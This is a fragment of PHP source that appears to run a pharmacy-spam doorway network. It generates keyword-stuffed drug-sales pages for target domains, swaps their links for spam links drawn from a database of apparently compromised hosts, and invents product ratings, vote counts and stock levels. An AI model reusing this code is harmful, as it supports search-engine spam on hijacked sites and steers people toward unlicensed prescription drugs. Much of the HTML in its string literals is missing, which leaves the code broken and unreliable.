',trim($dopkey_ar[0])).''; } else { $preready_link = '',trim($dopkey_ar[0])).''; } //if(strpos($preready_link,$link_title)!==FALSE){ if($anchor == $old_anchor){ $dopank = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/dopank.txt'); shuffle($dopank); $link_title = trim($dopank[0]).' '.$link_title.' '.trim($dopank[1]); } $ready_link = str_replace('#TITLE#',$link_title,$preready_link); if(strpos($ready_link,$srvcc)==FALSE){ $ready_link = str_replace('">'.$old_anchor.'','">'.$anchor.'',$ready_link); } return $ready_link; } if (isset($link_for_pars)) { unset($link_for_pars); } $load = $_POST['refxa']; $srv = $_POST['srva']; //$load = 'eastwest.eu/?s=Vendita+di+cialis+generico+-+Farmacia+online+dal+Canada,+acquista+farmaci+generici'; //$srv = 'eastwest.eu'; $srv = trim($srv); $ssilka = str_replace('www.','',$load); $srvcc = str_ireplace("www.","",$srv); $srvcc = trim($srvcc); $pgname = md5(trim($ssilka)); if ($srv == '') { die("empty"); } if(!is_dir('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/')) { mkdir ('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/',0777); } $proverka = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $proverka_array = explode("\n",$proverka); $new_prov = Array(); $lang = ''; if(strpos($proverka,'rezeptpflichtig')!==FALSE OR strpos($proverka,'berlin')!==FALSE){ $lang = '_de'; } if(strpos($proverka,'prescrizione') !==FALSE){ $lang = '_it'; } if(strpos($proverka,'marseille')!==FALSE){ $lang = '_fr'; } if(strpos($proverka,'receptforsaljning')!==FALSE OR strpos($proverka,'receptförsäljning')!==FALSE){ $lang = '_se'; } if(strpos($proverka,'rotterdam')!==FALSE){ $lang = '_nl'; } if(strpos($proverka,'alicante')!==FALSE){ $lang = '_es'; } foreach($proverka_array as $proverka_string) { $new_arr = explode('####',$proverka_string); $new_prov[] = $new_arr[0]; } if (in_array('http://'.$ssilka,$new_prov) == FALSE){ $site_page = getFakePage('http://'.$ssilka,"FSNET",$time); if ($site_page = '' OR strlen($site_page)<5) { $site_page = getFakePage('http://www.'.$ssilka,"FSNET",$time); } echo $site_page; exit; } if (is_file('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/'.$pgname.'_pg.html')) { $contents = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/'.$pgname.'_pg.html'); $contents = str_replace('http://','http://www.',$contents); $contents = str_replace('https://','https://www.',$contents); $contents = str_replace('www.www.','www.',$contents); $contents = str_replace('/wp-includes/images/','/wp-content/uploads/images/',$contents); $nowww_array = explode("\n",file_get_contents('txtX/nowww.txt')); if (in_array($srvcc,$nowww_array)){ $contents = str_replace('www.'.$srvcc,$srvcc,$contents); } echo $contents; exit; } //if (stripos($proverka,$ssilka)!== FALSE){ if (in_array('http://'.$ssilka,$new_prov)){ $keys = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $arr = explode("\n",$keys); $x = 0; while (!isset($our_link)) { if (strpos($arr[$x],$ssilka)!==FALSE){ $our_link = $arr[$x]; } $x++; } $arr3 = explode("####",$our_link); $new_url = parse_url('http://'.$ssilka); $link_for_pars = 'http://'.$new_url['host'].'.securitywebdomains.com/'.str_replace(' ','-',trim($arr3[1])).'/'; $head = trim($arr3[1]); } elseif (preg_match('/tadalafil|coronavirus|covid|sildenafil|kaletra|aralen|chloroquine|plaquenil|vardenafil|viagra|cialis|levitra|amoxil|strattera|synthroid|prescription|pharmacy|cipro|clomid|diflucan|doxycycline|eriacta|flagyl|glucophage|kamagra|lasix|nolvadex|orlistat|priligy|propecia|proscar|silagra|ventolin|xenical|zithromax|zovirax/i',$ssilka)) { $link_for_pars = 'http://'.str_replace($srvcc,$srvcc.'.securitywebdomains.com',$ssilka); $head = str_replace($srvcc.'/','',$ssilka); $head = str_replace('/','',$head); $head = str_replace('-',' ',$head); } if (is_file('/var/www/www-root/data/www/bot-master.com/startup/themes/doors-tpl_seodor/'.$srvcc.'_tpl.html')) { $shabfile = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/themes/doors-tpl_seodor/'.$srvcc.'_tpl.html'); } else { die("TemplateError"); } if (isset($link_for_pars) AND !preg_match('/\.jpg|\.xml|\.css|\.png|\.gif|\.pdf|\.js/i',$link_for_pars)){ $type = 'X'; function desctxt($fn, $sk, $fk) { $mydesctext = file(dirname(__FILE__) . '/' . $fn); shuffle($mydesctext); $mydesctext = array_slice($mydesctext, $sk, $fk); $mydesctext = array_map('trim',$mydesctext); $mydesctext = implode(" ", $mydesctext); $mydesctext = trim($mydesctext); return $mydesctext; } function keymod($keyword) { $keys = explode(' ',$keyword); $mod = rand(0,2); $k_count = sizeof($keys); if ($mod == 0) { shuffle($keys); } $mod = rand(0,1); $mod2 = rand(0,$k_count); $k2 = $k_count-1; if ($mod == 0) { array_splice($keys,$mod2,$k2); } $keyzz = implode(" ",$keys); return $keyzz; } $dfile_a = preg_match_all("#body *(.*)<\/body>#isU", $shabfile, $out3); $dfile_b = preg_match_all("##isU", $out3[0][0], $out4); $domain_links = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $linx_array = explode("\n",$domain_links); $new_links_array = Array(); foreach($linx_array as $linx){ $new_links_array[] = '',$linx).''; } foreach($out4[0] as $bad_old_link){ if(!preg_match('/facebook|instagram|twitter|linkedin|figure|img/i',$bad_old_link)) { $old_link_rand = rand(0,9); if ($old_link_rand < 4){ $shabfile = str_replace($bad_old_link,$new_links_array[rand(0,count($new_links_array)-1)],$shabfile); } } } $dopkey = 'all_keys'; $brand = 'Generic'; $rnd = rand(0,10); if (preg_match('/viagra|sildenafil/i', $head)) { $dopkey = 'viagra'; $price = '0.2'; if ($rnd<6){ $brand = 'Pfizer'; } } if (preg_match('/cialis|tadalafil/i', $head)) { $dopkey = 'cialis'; $price = '0.8'; if ($rnd<5){ $brand = 'Lilly'; } } if (preg_match('/levitra|vardenafil/i', $head)) { $dopkey = 'levitra'; $price = '0.9'; if ($rnd<6){ $brand = 'Bayer'; } } if (preg_match('/propecia/i', $head)) { $dopkey = 'propecia'; $price = '0.5'; } if (preg_match('/kamagra/i', $head)) { $dopkey = 'kamagra'; $price = '0.7'; } if (preg_match('/cipro/i', $head)) { $dopkey = 'cipro'; $price = '0.2'; } if (preg_match('/clomid/i', $head)) { $dopkey = 'clomid'; $price = '0.4'; } if (preg_match('/amoxil/i', $head)) { $dopkey = 'amoxil'; $price = '0.4'; } if (preg_match('/diflucan/i', $head)) { $dopkey = 'diflucan'; $price = '0.7'; } if (preg_match('/doxycycline/i', $head)) { $dopkey = 'doxycycline'; $price = '0.2'; } if (preg_match('/eriacta/i', $head)) { $dopkey = 'eriacta'; $price = '0.9'; } if (preg_match('/flagyl/i', $head)) { $dopkey = 'flagyl'; $price = '0.2'; } if (preg_match('/glucophage/i', $head)) { $dopkey = 'glucophage'; $price = '0.1'; } if (preg_match('/lasix/i', $head)) { $dopkey = 'lasix'; $price = '0.2'; } if (preg_match('/nolvadex/i', $head)) { $dopkey = 'nolvadex'; $price = '0.5'; } if (preg_match('/orlistat/i', $head)) { $dopkey = 'orlistat'; $price = '0.8'; } if (preg_match('/priligy/i', $head)) { $dopkey = 'priligy'; $price = '0.9'; } if (preg_match('/proscar/i', $head)) { $dopkey = 'proscar'; $price = '1.0'; } if (preg_match('/silagra/i', $head)) { $dopkey = 'silagra'; $price = '0.7'; } if (preg_match('/ventolin/i', $head)) { $dopkey = 'ventolin'; $price = '0.5'; } if (preg_match('/xenical/i', $head)) { $dopkey = 'xenical'; $price = '0.8'; } if (preg_match('/zithromax/i', $head)) { $dopkey = 'zithromax'; $price = '0.4'; } if (preg_match('/zovirax/i', $head)) { $dopkey = 'zovirax'; $price = '0.2'; } if (preg_match('/strattera/i', $head)) { $dopkey = 'strattera'; $price = '0.5'; } if (preg_match('/synthroid/i', $head)) { $dopkey = 'synthroid'; $price = '0.1'; } if (preg_match('/plaquenil/i', $head)) { $dopkey = 'plaquenil'; $price = '1.0'; } if (preg_match('/chloroquine/i', $head)) { $dopkey = 'chloroquine'; $price = '0.6'; } if (preg_match('/aralen/i', $head)) { $dopkey = 'aralen'; $price = '0.6'; } if (preg_match('/kaletra/i', $head)) { $dopkey = 'kaletra'; $price = '7.0'; } $pill = $dopkey; if (is_file('/var/www/www-root/data/www/bot-master.com/startup/txtX/'.$dopkey.$lang.'.txt')){ $dopkey_array = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/'.$dopkey.$lang.'.txt'); } else { $dopkey_array = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/'.$dopkey.'.txt'); } $dopcnt = count($dopkey_array)-1; $dopkey1 = trim($dopkey_array[rand(0,$dopcnt)]); $dopkey2 = trim($dopkey_array[rand(0,$dopcnt)]); $dopkey3 = trim($dopkey_array[rand(0,$dopcnt)]); $dopkey4 = trim($dopkey_array[rand(0,$dopcnt)]); $is_search = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/eu_sites.txt'); if (strpos($is_search,$srvcc)!== FALSE) { $just_search = 1; } if ($just_search != 1) { $dor = getFakePage($link_for_pars,$useragent,$time); $dfile_dor = preg_match_all("##isU", $dor, $out5); foreach ($out5[0] as $dor_link){ $dor = str_replace($dor_link,'',$dor); } $text = explode('
',$dor); $text2 = explode('
',$text[1]); $new_text = '
'.str_replace('.securitywebdomains.com','',$text2[0]); if (isset($dopkey)){ mysql_connect($hostname,$username,$password) OR DIE("pesda"); mysql_select_db($dbName) or die(mysql_error()); $query = "SELECT * FROM hosts1 order by 1"; $res = mysql_query($query) or die(mysql_error()); $good_links = array(); $query_host = "SELECT * FROM hosts1 WHERE name LIKE '%$srvcc%'"; $res_host = mysql_query($query_host) or die(mysql_error()); while ($row_host = mysql_fetch_array($res_host)) { $baza_type = $row_host['lex']; } while ($row = mysql_fetch_array($res)) { $url = "http://".$row['name']; $url_host = parse_url($url); $urlinfo = $row['name']; if(strpos($row['lex'],$baza_type)!==FALSE) { if(strpos($row['info'],'DOX_V')!==FALSE OR strpos($row['info'],'DOXEPA')!==FALSE) { /* if(!preg_match('/actronair.com.au|koompartoo.com.au|lavozdelapalma.com|smithspharmacy.com|upasitearesearch.org/i',$url_host['host'])){ $good_links[] = str_replace('www.','',$url_host['host']); } */ $good_links[] = str_replace('www.','',$url_host['host']); } } } shuffle($good_links); $links_array = array(); $other_links = rand(1,2); $other_x = 0; while($other_x<=$other_links){ $nf_link_rnd = rand(0,99); if ($nf_link_rnd < 35) { $nf_link = 1; } else { $nf_link = 0; } $type_rnd = rand(0,99); if($type_rnd < 40) { $ltype = 1; } if($type_rnd >= 40 AND $type_rnd < 60) { $ltype = 2; } if($type_rnd >= 60 AND $type_rnd < 80) { $ltype = 3; } if($type_rnd >= 80 AND $type_rnd < 90) { $ltype = 4; } if($type_rnd >= 90 AND $type_rnd <= 99) { $ltype = 0; } $links_array[] = getlinks($good_links[$other_x],$dopkey,$nf_link,$ltype); $other_x++; } $host_links = rand(1,2); $host_x = 1; while($host_x<=$host_links){ $nf_link = 0; $ltype = 0; $links_array[] = getlinks($srvcc,$dopkey,$nf_link,$ltype); $host_x++; } foreach($out2[0] as $ou) { $new_text = str_replace($ou,'',$new_text); } $rez_abz = rand(0,11); if($rez_abz < 7){ if($rez_abz <= 2) { $abz_numeric = 3; } if($rez_abz > 2 && $rez_abz <= 5) { $abz_numeric = 2; } if($rez_abz > 5 && $rez_abz <= 6) { $abz_numeric = 1; } $new_text = str_replace("

###KEYWORD$abz_numeric###

","",$new_text); } $links_out = array(); foreach($links_array as $value) { $links_out[] = trim($value); } if($dopkey == 'cialis' OR $dopkey == 'viagra' OR $dopkey == 'lasix' OR $dopkey == 'clomid'){ $rnd_hous = rand(0,100); if ($rnd_hous < 10) { $rnd_hous_link_file = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/housing_links/'.$dopkey.'.txt'); $rnd_hous_link = $rnd_hous_link_file[rand(0,count($rnd_hous_link_file)-1)]; $link_ne_link = rand(0,10); if ($link_ne_link < 2){ $nelink = explode('"',$rnd_hous_link); $nelink_hst = parse_url($nelink[1]); $new_hous_link = explode('">',$rnd_hous_link); $new_hous_link = explode('',$new_hous_link[1]); $rnd_hous_link = trim($new_hous_link[0]); if(strpos($rnd_hous_link,str_replace('www.','',$nelink_hst['host']))==FALSE){ $rnd_hous_link = $rnd_hous_link.' '.$nelink_hst['host']; } } $links_out[0] = trim($rnd_hous_link); $date = date("Y-m-d H:i:s"); $hous_log = fopen('/var/www/www-root/data/www/bot-master.com/startup/txtX/housing_links/logs.txt','a'); fwrite($hous_log,$date." - http://".$load." - ".trim($rnd_hous_link)."\n"); fclose($hous_log); } } global $links_out; $_9 = $links_out; $_2 = 7; $_10=$new_text; $_11=false; $_12=""; $_13 = check($_10,""); $_61=strrpos(substr($_53,0,$_59),"<"); if($_60===false){ $_60=0; } if($_61===false) { $_11=true; break; } if($_60<=$_61) { continue; } if(count($_9)<=0) break; $_58=trim(array_shift($_9)); if($_58==NULL || strlen($_58) < 4) { break; } $_53=substr($_53,0,$_59+strlen($_55)).$_58." ".substr($_53,$_59+strlen($_55)); $_57=true; } else { break; } } while(!$_57); if($_11) break; if(count($_9)<=0)break; } $_12=substr($_10,0,$_13).$_53; } else { $_11=true; $_12=$_10; } $new_text=$_12; /* $dopkeyfile = $dopkey; if (strpos($head,'female')!==FALSE){ $dopkeyfile = $dopkeyfile.'-female'; } if (strpos($head,'soft')!==FALSE){ $dopkeyfile = $dopkeyfile.'-soft'; } if (strpos($head,'super active')!==FALSE){ $dopkeyfile = $dopkeyfile.'-super-active'; } if (strpos($head,'professional')!==FALSE){ $dopkeyfile = $dopkeyfile.'-professional'; } if (preg_match('/price|buy|purchase|order|visa|mastercard|paypal|bitcoin|discount|cheap|sale|shop|cost|much/i',$head)){ $rnd_rating = round(rand(40,50)/10,2); $rnd_votes = rand(10,4500); $pill_price = $price.rand(0,9); $rndstock = rand(200,9999); $rndchisclo = rand(1,30); $rnd_mes = rand(8,12); if ($rnd_mes == 8) { $mesjac = 'August'; } if ($rnd_mes == 9) { $mesjac = 'September'; } if ($rnd_mes == 10) { $mesjac = 'October'; } if ($rnd_mes == 11) { $mesjac = 'November'; } if ($rnd_mes == 12){ $mesjac = 'December'; } $our_price_file = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/prices/schema/shab.txt'); $our_price_file = str_replace('###PILL###',ucfirst($dopkey),$our_price_file); $our_price_file = str_replace('###PILLBRAND###',$brand,$our_price_file); $our_price_file = str_replace('###RNDRES###',$rnd_rating,$our_price_file); $our_price_file = str_replace('###RNDVOTES###',$rnd_votes,$our_price_file); $our_price_file = str_replace('###PILLPRICE###',$pill_price,$our_price_file); $our_price_file = str_replace('###RNDSTOCK###',$rndstock,$our_price_file); $our_price_file = str_replace('###RMES###',$rnd_mes,$our_price_file); $our_price_file = str_replace('###RMESJAC###',$mesjac,$our_price_file); $our_price_file = str_replace('###RCHISLO###',$rndchisclo,$our_price_file); $our_price_file = str_replace('###PILLSITE###','http://'.$srvcc.'/',$our_price_file); } */ //if (isset($our_price_file)) { // $shabfile = str_replace("#####TEXT#####","#####TEXT#####"."\n".$our_price_file,$shabfile); //} } } elseif ($just_search == 1) { $new_text = str_replace($srvcc.'/?s=','',$ssilka); $tit_search = str_replace('+',' ',$new_text); if (strpos($shabfile,'class="entry-content">')=== FALSE){ $new_text = '

Search Result: '.str_replace('+',' ',$new_text).'

'; } else { $new_text = 'Search Result: '.str_replace('+',' ',$new_text).'

'; } $desM_search = $tit_search; } $new_content = str_replace('#####TEXT#####',$new_text,$shabfile); $new_content = str_replace('###KEYWORD1###',ucfirst($dopkey1),$new_content); $new_content = str_replace('###KEYWORD2###',ucfirst($dopkey2),$new_content); $new_content = str_replace('###KEYWORD3###',ucfirst($dopkey3),$new_content); $new_content = preg_replace('/\/imgs\/[0-2]0[0-2][0-9]-[0-3][0-9]\//si','/wp-content/uploads/images/',$new_content); $host_in_title = rand(0,1); $dfile_x = preg_match("#(.*)<\/title>#iU", $new_content, $out); $doctit = $out[1]; if (is_file('/var/www/www-root/data/www/bot-master.com/startup/new_conf/'.$srvcc.'_masktitle.txt')) { $maskoftitle = file_get_contents(dirname(__FILE__).'/new_conf/'.$srvcc.'_masktitle.txt'); } else { $what_lang = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); /* //see string ~140 perenes povishe $lang = ''; if(strpos($what_lang,'rezeptpflichtig')!==FALSE){ $lang = '_de'; } if(strpos($what_lang,'prescrizione')!==FALSE){ $lang = '_it'; } if(strpos($what_lang,'marseille')!==FALSE){ $lang = '_fr'; } if(strpos($what_lang,'receptforsaljning')!==FALSE){ $lang = '_se'; } if(strpos($what_lang,'rotterdam')!==FALSE){ $lang = '_nl'; } if(strpos($what_lang,'alicante')!==FALSE){ $lang = '_es'; } */ $maskoftitle = desctxt('txt'.$type.'/titles'.$lang.'.txt', 1, 1); if ($maskoftitle<>'') { $pjt_ar = array(" » ",". "," - "," : "," | "," — "); $pjt = rand(0,5); $promejutok = $pjt_ar[$pjt]; if($host_in_title == 0){ $maskoftitle = $promejutok.$maskoftitle; } else { $hst = explode('.',$srvcc); $x_hst = 0; while($x_hst < count($hst)-1){ $hst_tit = $hst_tit.'.'.trim($hst[$x_hst]); $x_hst++; } $hst_tit = substr ($hst_tit,1); $hst_tit = str_replace('-',' ',$hst_tit); $hst_tit = str_replace('.',' ',$hst_tit); if(preg_match("/[0-9]/isU",$hst_tit)) { $dfile_tit_ar = preg_match_all("#\D\d#sUi",$hst_tit,$tit_ar); foreach($tit_ar[0] as $tt_ar) { $tt_ar = trim($tt_ar); $hst_tit = str_replace($tt_ar,$tt_ar[0].' '.$tt_ar[1],$hst_tit); } } $hst_ar = explode(' ',$hst_tit); foreach($hst_ar as $hh){ $uc_hst_tit = $uc_hst_tit.' '.trim(ucfirst($hh)); } $hst_tit = substr($uc_hst_tit,1); /* $words = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/words.txt'); foreach($words as $ww){ $ww = trim($ww); $hst_tit = str_replace($ww,ucfirst($ww),$hst_tit); } */ $maskoftitle = $promejutok.$maskoftitle.$promejutok.$hst_tit; } $fpage = fopen('/var/www/www-root/data/www/bot-master.com/startup/new_conf/'.$srvcc.'_masktitle.txt', "w"); fwrite($fpage,$maskoftitle); fclose($fpage); } } if (is_file('/var/www/www-root/data/www/bot-master.com/startup/new_conf/'.$srvcc.'_desc.txt')) { $mydesc = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/new_conf/'.$srvcc.'_desc.txt'); } else { $mydesc = desctxt('txt'.$type.'/desc'.$lang.'.txt', 1, 4); if ($mydesc<>'') { $fpage = fopen('/var/www/www-root/data/www/bot-master.com/startup/new_conf/'.$srvcc.'_desc.txt', "w"); fwrite($fpage,$mydesc); fclose($fpage); } } //$tit = ucfirst($head).'. '.ucfirst($dopkey1).'. '.ucfirst($dopkey2).'. '.ucfirst($dopkey3).'. '.ucfirst($dopkey4).$maskoftitle; if ($just_search != 1){ $tit = ucfirst($head).$maskoftitle; } elseif($just_search == 1) { $tit = $tit_search; } $key = "<strong>" . $head . "</strong>"; $titE = "'<title[^>]*?>.*?'si"; $titM = "" . $tit . ""; $desE = "']*?.*?/>'si"; if ($just_search != 1){ $desM = ''; } elseif($just_search == 1) { $desM = ''; } $dor_desc = ucfirst($head).'. '.ucfirst($dopkey1).', '.ucfirst($dopkey2).'. '.$mydesc.' '.ucfirst($dopkey3).', '.ucfirst($dopkey4); $tagtitE = "']*?.*?/>'si"; $tagtitM = ''; $kE = "']*?.*?>'si"; $kM = ''."\n"; $rbtsE = "']*?.*?>'si"; $rbtsM = ''."\n"; $bdE = "']*?.*?>'si"; $xmlff = preg_match("##iU", $new_content, $outxml); $docxml = $outxml[1]; $kwd = strpos($new_content, 'meta name="keywords"'); if ($kwd==0) { $titM = "\n".$titM."\n".$kM; } $dsc = strpos($new_content, 'meta name="description"'); if ($dsc==0) { $titM = "\n".$titM."\n".$desM; } $new_content = preg_replace($desE, $desM, $new_content); $new_content = preg_replace($kE, $kM, $new_content); $new_content = preg_replace($rbtsE, $rbtsM, $new_content); $new_content = preg_replace($titE, $titM, $new_content); $new_content = preg_replace($tagtitE, $tagtitM, $new_content); $new_content = str_ireplace($docxml,"",$new_content); $new_content = str_replace("","",$new_content); $new_content = str_replace("©","©",$new_content); $ssilka_slash = urlencode('http://'.$ssilka); if (strpos($head,'prescription') !== FALSE){ $canoni_ssilka = $srvcc.'/'.$pill.'-without-prescription/'; } if (!isset($canoni_ssilka) AND preg_match('/buy|purchase|order/i',$head)){ $canoni_ssilka = $srvcc.'/buy-'.$pill.'-online/'; } if (!isset($canoni_ssilka) AND strpos($head,'sale')!==FALSE){ $canoni_ssilka = $srvcc.'/'.$pill.'-for-sale/'; } if (!isset($canoni_ssilka) AND strpos($head,'coupon')!==FALSE){ $canoni_ssilka = $srvcc.'/'.$pill.'-coupon/'; } if (!isset($canoni_ssilka)){ $canoni_ssilka = $ssilka; } // S CANONI### $random_digit = rand(1,30); $months = Array('january','february','march','april','may','june','july','august','september','october','november','december'); $random_month_digit = rand(0,count($months)-1); $random_month = $months[$random_month_digit]; $random_month_digit = $random_month_digit + 1; if ($random_month_digit <10){ $random_month_digit = '0'.$random_month_digit; } $new_content = str_replace('###RMONTH###',$random_month,$new_content); $new_content = str_replace('###RMONTHD###',$random_month_digit,$new_content); $new_content = str_replace('###RDIG###',$random_digit,$new_content); $new_content = str_replace('###DORPAGE###','http://'.$ssilka,$new_content); $new_content = str_replace('###CANONI###','http://'.$canoni_ssilka,$new_content); $new_content = str_replace('###DORSLASH###',$ssilka_slash,$new_content); $new_content = str_replace('###DORTITLE###',$tit,$new_content); $new_content = str_replace('###DORDESC###',$dor_desc,$new_content); $new_content = str_replace('###DORHEAD###',ucfirst($head),$new_content); $new_content = str_replace('###PILL###',ucfirst($dopkey),$new_content); $new_content = str_replace('###HOST###',$hst_tit. 'Pharmacy',$new_content); $new_content = str_replace('###HTTPS###','',$new_content); /* $dfile_x = preg_match_all("##iU", $new_content, $out2); foreach($out2[1] as $li){ $our_site = 0; unset($link_new_url); $li = trim($li); if (strpos($li,'https://')===FALSE){ $newli = explode('http://',$li); } else { $newli = explode('https://',$li); } $newli2 = explode('"',$newli[1]); $newlink = $newli2[0]; $newlink = str_replace('www.','',$newlink); if (strpos($newlink,$srvcc)!==FALSE){ $proverka = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $our_site = 1; } else { $link_file = parse_url('http://'.$newlink); $link_new_url = trim($link_file['host']); $proverka = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$link_new_url.'.txt'); } if (isset($link_new_url) AND is_file('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$link_new_url.'.txt')){ $old_link = parse_url('http://'.$newlink, PHP_URL_PATH); $old_link = str_replace('/','',$old_link); $old_link = trim(str_replace('-',' ',$old_link)); if (strpos($proverka,$old_link)!==FALSE){ $zamena1 = explode('####'.$old_link,$proverka); $zamena12 = explode("\n",$zamena1[0]); $zamena_end = trim($zamena12[count($zamena12)-1]); $new_content = str_replace('http://'.$newlink,$zamena_end,$new_content); } } elseif ($our_site == 1 AND strpos($newlink,$srvcc)!==FALSE) { $old_link = parse_url('http://'.$newlink, PHP_URL_PATH); $old_link = str_replace('/','',$old_link); $old_link = trim(str_replace('-',' ',$old_link)); if (strpos($proverka,$old_link)!==FALSE){ $zamena1 = explode('####'.$old_link,$proverka); $zamena12 = explode("\n",$zamena1[0]); $zamena_end = trim($zamena12[count($zamena12)-1]); $new_content = str_replace('http://'.$newlink,$zamena_end,$new_content); } } if (strpos($proverka,$newlink)!==FALSE){ $old_ank = explode('">',$li); $old_ank2 = explode('',$old_ank[1]); $zamena1 = explode($newlink.'####',$proverka); $zamena12 = explode("\n",$zamena1[1]); $zamena_end = trim($zamena12[0]); $new_content = str_replace($newlink.'">'.$old_ank2[0],$newlink.'">'.ucfirst($zamena_end),$new_content); $new_content = str_replace($newlink.'" title ="'.$old_ank2[0].'">'.$old_ank2[0],$newlink.'" title ="'.ucfirst($zamena_end).'">'.ucfirst($zamena_end),$new_content); $new_content = str_replace($newlink.'" title="'.$old_ank2[0].'">'.$old_ank2[0],$newlink.'" title="'.ucfirst($zamena_end).'">'.ucfirst($zamena_end),$new_content); $new_content = str_replace($newlink.'" title = "'.$old_ank2[0].'">'.$old_ank2[0],$newlink.'" title= " '.ucfirst($zamena_end).'">'.ucfirst($zamena_end),$new_content); } } */ $new_content = str_replace('bot-master.com',$srvcc,$new_content); $new_content = str_replace('http://','http://www.',$new_content); $new_content = str_replace('https://','https://www.',$new_content); $new_content = str_replace('www.www.','www.',$new_content); $nowww_array = explode("\n",file_get_contents('txtX/nowww.txt')); if (in_array($srvcc,$nowww_array)){ $new_content = str_replace('www.'.$srvcc,$srvcc,$new_content); } echo $new_content; if ($new_content<>'empty' || $new_content<>'